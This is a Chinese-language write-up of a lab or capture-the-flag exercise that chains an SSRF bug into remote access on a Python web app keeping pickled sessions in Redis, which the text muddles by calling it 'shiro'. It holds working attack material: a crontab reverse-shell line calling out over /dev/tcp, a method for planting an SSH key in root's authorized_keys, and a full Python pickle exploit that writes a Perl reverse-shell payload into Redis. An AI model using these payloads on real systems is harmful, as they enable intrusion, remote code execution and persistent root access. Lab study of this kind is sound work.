目录
一、环境
二、 介绍
三、开始做题
四、写公钥
一、环境
网上自己找
二、 介绍
我们经过前面文章很清楚知道,shiro是将数据存储在内存当中,内存落盘实现一个数据存储,而当其结合python,python将登录的session存储到shiro里面就会造成一个反序列化漏洞
看看环境
登录信息存到session
序列化一个引擎
序列化存入
那我们就需要反序列化的方式取出
pass:python序列化的两个方法pickle.dumps、pickle.loads
三、开始做题
很明显的ssrf题目
接下来就是猜目录,但是这个靶场给了我们利用工具
其实跟我们之前用的工具差不多一样,我们还是一样解码看它干了什么
一模一样正常的反弹shell操作如fiushall等等
攻击机接shell
反馈是okokok我们等一分钟看看情况
很明显反弹回来了
所以我们进入docker环境下看看它的任务计划有没有写成功
但是ubentu和centos的反弹不一样
ubentu是写在这个任务计划目录下的,ubentu的反弹并不稳定,因为其中涉及权限不能是644,得是600,第二个邮件服务器,第三个坑点/bin/sh指向dash,而我们反弹shell是bash
总结一下:
补充另一种方法:
*/1 * * * * bash -c "bash -i >&/dev/tcp/123.207.x.x/1234 0>&1"
不用修改链接指向,直接在sh下执行bash -c。
四、写公钥
脚本上是写到/root/.ssh这个目录下authorized_keys这个文件里面
我这里生成一对公钥和私钥
还是一样用centos去测试,写公钥看一下
很明显它是写入了
我们直接可以免密登录了
五、反序列化
我们正常登录可以看到session值
看shiro里面的存储
我们将其复原一下,很明显是python反序列化的形式
看看主页源码,一开始加载的是login,然后提交给index,之后走到login.html下
那我们要做的就是写一个恶意的session值写入redies里面去,然后它读出来的时候反序列化,那我们首要任务是先写
我们不能用原有的session,因为创建完后会覆盖回去,我们就改一下尾数
它生成的这个相当于是换行请求
但是我在实验的时候发现官方好像把这个换行符给修复了,因为靶场是两年前国外的,所以也算正常
看一下源码吧,它很明确的写出httplib是因为有一个换行符的漏洞所以会造成泄露
没事,我自己写了一个反序列化的代码,我们看能否写入即可,验证为止
#!/usr/bin/env python
import cPickle
import os
import redis
import base64
class exp(object):
def __reduce__(self):
s = """perl -e 'use Socket;$i="192.168.139.138";$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");
open(STDERR,">&S");exec("/bin/bash -i");};'"""
return (os.system, (s,))
e = exp()
s = base64.b64encode(cPickle.dumps(e))
r = redis.Redis(host='192.168.139.138', port=6379, db=0)
r.set("session:", s)